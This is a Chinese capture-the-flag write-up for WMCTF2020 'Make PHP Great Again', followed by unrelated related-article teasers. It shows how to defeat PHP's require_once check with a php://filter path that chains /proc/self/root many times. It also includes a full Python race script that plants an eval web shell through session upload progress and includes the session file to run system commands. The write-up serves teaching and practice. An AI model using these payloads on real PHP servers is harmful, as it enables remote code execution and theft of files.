[WMCTF2020]Make PHP Great Again require_once 特性

php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台

这里是特性

我们首先来解释一下

 <?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {require_once $_GET['file'];
}

这个是我们的源代码

PHP包含的格式是将 已经包含的文件和文件的真是路径放入哈希表然后如果存在 就不包含了

特性

这里的特性总结就是require-once如果包含过多软链接 就会失效

所以我们通过大量软链接实现绕过

这里我们使用两个 proc内容

Proc

/proc/self  当前的pid其中存在root所以我们继续包含/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self实现大量软链接然后最后在var/www/html/flag.php 即可实现php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

实现包含

然后这里还可以通过 session upload LIF 实现sess文件包含


import io
import requests
import threading
sessid = 'bbbbbbb'
data = {"cmd":"system('cat flag.php');"}   #修改命令
def write(session):while True:f = io.BytesIO(b'a' * 1024 * 50)#发送uploadresp = session.post( 'http://7ccbe9ad-2db2-4fa8-bb2e-972cda495260.node4.buuoj.cn:81/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):while True:#文件包含resp = session.post('http://7ccbe9ad-2db2-4fa8-bb2e-972cda495260.node4.buuoj.cn:81/?file=/tmp/sess_'+sessid,data=data)if 'flag' in resp.text:  #判断条件print(resp.text)event.clear()breakelse:print("[+++++++++++++]retry")
if __name__=="__main__":event=threading.Event()with requests.session() as session:for i in range(1,30): threading.Thread(target=write,args=(session,)).start()for i in range(1,30):threading.Thread(target=read,args=(session,)).start()event.set()

 这里再介绍一下非预期

/proc/self/cwd 这里会链接到我们当前的目录中

然后这里我们尝试读取


发现是ok的 成功读取到内容 所以这里我们使用

/new/../../proc/slef/cwd/flag

就会被当做一个新的绝对路径 存入哈希表 不会造成二次包含

这里前面不管换什么都可以解析 因为他只会去解析最终的内容

然后就是

另一个 引用的内容

/proc/self/cwd/flag.php

但是这里我们解析不到 因为这里会回去原本进行解析

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/257493.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

外贸邮件开发信称呼怎么写?邮件开头称呼?

得体的开发信称呼方法技巧&#xff1f;外贸邮件称呼部分如何写&#xff1f; 邮件的开篇通常以称呼语句来建立联系&#xff0c;这个称呼在一封邮件中至关重要&#xff0c;它不仅要表现出尊重&#xff0c;还要显得亲切和专业。那么&#xff0c;如何写外贸邮件开发信称呼呢&#…

【keil备忘录】2. stm32 keil仿真时的时间测量功能

配置仿真器Trace内核时钟为单片机实际的内核时钟&#xff0c;需要勾选Enable设置&#xff0c;设置完成后Enable取消勾选也可以&#xff0c;经测试时钟频率配置仍然生效&#xff0c;此处设置为48MHZ: 时间测量时必须打开register窗口&#xff0c;否则可能不会计数 右下角有计…

WMMSE方法的使用笔记

标题很帅 原论文的描述WMMSE的简单应用 无线蜂窝通信系统的预编码设计问题中&#xff0c;经常提到用WMMSE方法设计多用户和速率最大化的预编码&#xff0c;其中最为关键的一步是将原和速率最大化问题转化为均方误差最小化问题&#xff0c;从而将问题由非凸变为关于三个新变量的…

手撕HashMap源码1

目录 简单说一下什么是哈希表 哈希冲突的常见解决办法 1.开放寻址法 1.1线性的地址检测 1.2二次检测 1.3双重散列 2.链表法 HashMap的源码讲解 常见属性 初始化对象的几个构造函数 实际的扩容分析 几个常见问题 手写一个简单的哈希表 简单说一下什么是哈希表 其实就是在…

接口测试要测试什么?

第一部分&#xff1a; 首先&#xff0c;在做接口测试的过程中&#xff0c;经常有后端开发会问&#xff1a; 后端接口都测试什么&#xff1f;怎么测的&#xff1f;后端接口测试一遍 &#xff0c;前端也测试一遍&#xff0c;是不是重复测试了&#xff1f; 于是&#xff0c;为了…

爱智EdgerOS之深入解析AI图像引擎如何实现AI视觉开发

一、前言 AI 视觉是为了让计算机利用摄像机来替代人眼对目标进行识别&#xff0c;跟踪并进一步完成一些更加复杂的图像处理。这一领域的学术研究已经存在了很长时间&#xff0c;但直到 20 世纪 70 年代后期&#xff0c;当计算机的性能提高到足以处理图片这样大规模的数据时&am…

实验3.5 路由器的单臂路由配置

实验3.5 路由器的单臂路由配置 一、任务描述二、任务分析三、具体要求四、实验拓扑五、任务实施1.SWA的基本配置2.RA的基本配置3.在RA上查看接口状态 六、任务验收七、任务小结 一、任务描述 某公司对部门划分了需VLAN之后&#xff0c;发现两个部门之间无法通信&#xff0c;但…

Kubernetes集群安装高可用postgresql

Kubernetes集群安装高可用postgresql Bitnami 提供的 postgresql-ha 解决方案是一个预配置的、高可用的 PostgreSQL 集群配置&#xff0c;通常部署在 Kubernetes 环境中。它使用了一些关键技术和组件来实现数据库的高可用性。&#xff0c;Bitnami postgresql-ha 主要采用以下构…

【PCB设计】嘉立创EDA器件3D模型导入AD的方法

嘉立创EDA器件3D模型导入AD的方法 一、嘉立创EDA导出3D模型二、CAD编辑3D模型三、AD中加载3D模型 一、嘉立创EDA导出3D模型 在嘉立创EDA中找到对应的元器件&#xff0c;并生成PCB&#xff0c;选择导出3D文件 导出元件step模型 二、CAD编辑3D模型 用FreeCAD打开模型 删除…

pytorch的二次索引矩阵无法赋值问题

最近在研究中发现torch一个问题&#xff0c;即torch的二次索引的矩阵无法赋值。 具体来说&#xff0c;给定相同的初始常数矩阵a和iou_target矩阵, 以及另一iou矩阵&#xff0c;直接赋值是没问题的。 然而&#xff0c;当对iou_target矩阵进行二次索引时&#xff0c;即idx矩阵和…

【小白专用】MySQL创建数据库和创建数据表

1.在Windows开始搜索输入Mysql,并选择第一个打开。 2.输入安装时的密码 3.说明安装成功。 二、创建数据库 1. 连接 MySQL 输入 mysql -u root -p 命令&#xff0c;回车&#xff0c;然后输入 MySQL 的密码(不要忘记了密码)&#xff0c;再回车&#xff0c;就连接上 MySQL 了。 …

leetcode做题笔记1466. 重新规划路线

n 座城市&#xff0c;从 0 到 n-1 编号&#xff0c;其间共有 n-1 条路线。因此&#xff0c;要想在两座不同城市之间旅行只有唯一一条路线可供选择&#xff08;路线网形成一颗树&#xff09;。去年&#xff0c;交通运输部决定重新规划路线&#xff0c;以改变交通拥堵的状况。 路…